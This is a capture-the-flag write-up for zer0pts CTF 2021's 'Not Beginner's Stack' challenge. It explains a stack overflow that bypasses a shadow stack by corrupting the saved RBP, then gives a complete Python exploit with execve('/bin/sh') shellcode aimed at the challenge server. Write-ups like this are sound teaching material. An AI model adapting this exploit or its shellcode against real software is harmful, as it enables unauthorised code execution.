# Not Beginner's Stack - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`
## Challenge Overview
We're given a 64-bit ELF and its source code.
```
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 24 Symbols No 0 1 chall
```
The vulnerability is a simple stack buffer overflow.
```
vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret
```
However, the stack works in a special way.
```
%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
mov ecx, [__stack_depth]
mov qword [__stack_shadow + rcx * 8], %%return_address
inc dword [__stack_depth]
;; goto function
jmp %1
%%return_address:
%endmacro
%macro ret 0
;; goto __stack_shadow[--__stack_depth];
dec dword [__stack_depth]
mov ecx, [__stack_depth]
jmp qword [__stack_shadow + rcx * 8]
%endmacro
```
The return address is saved in the bss section and we can't overwrite it simply by the overflow.
## Solution
What we abuse is the saved RBP.
After `vuln` function ends, RBP is used for calculating the address of `buf`.
```
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret
```
We can modify the address as we change the value of RBP.
Controlling the RBP, we can write to wherever place by the next `read` call. Since PIE is disabled, we can overwrite the shadow stack to control RIP.
NX is also disabled, which enables us to jump to the shellcode directly.
## Exploit
```python=
from ptrlib import *
elf = ELF("../distfiles/chall")
sock = Socket("pwn.ctf.zer0pts.com", 9011)
# overwrite saved rbp
payload = b"A" * 0x100
payload += p64(elf.symbol("__stack_shadow") + 0x100)
sock.sendafter("Data: ", payload)
# overwrite shadow stack
payload = p64(elf.symbol("__stack_shadow") + 0x80) * (0x80 // 8)
payload += nasm("""
shellcode:
call arg1
db '/bin/sh', 0
arg1:
xor edx, edx
xor esi, esi
pop rdi
mov eax, 59
syscall
""", bits=64)
sock.sendafter("Data: ", payload)
sock.interactive()
```